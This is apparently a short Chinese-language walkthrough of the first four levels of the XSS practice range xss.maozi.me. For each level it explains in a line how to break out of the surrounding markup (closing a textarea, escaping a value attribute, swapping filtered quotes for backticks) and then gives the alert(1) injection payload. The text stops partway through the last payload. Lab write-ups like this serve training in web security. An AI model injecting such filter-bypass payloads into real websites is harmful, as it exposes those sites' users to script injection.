xss.maozi.me靶场速通

0x00

第一关比较简单 直接写payload

<script>alert(1)</script>

0x01

我们用</textarea>闭合前面的标签

payload

</textarea><script>alert(1)</script>

0x02

我们用"> 闭合前面的标签 使得前面的value值为空

payload

"><script>alert(1)</script>

0x03

单引号被过滤了 我们用反引号``代替单引号

payload

<button onclick=alert`1`>dianyixia<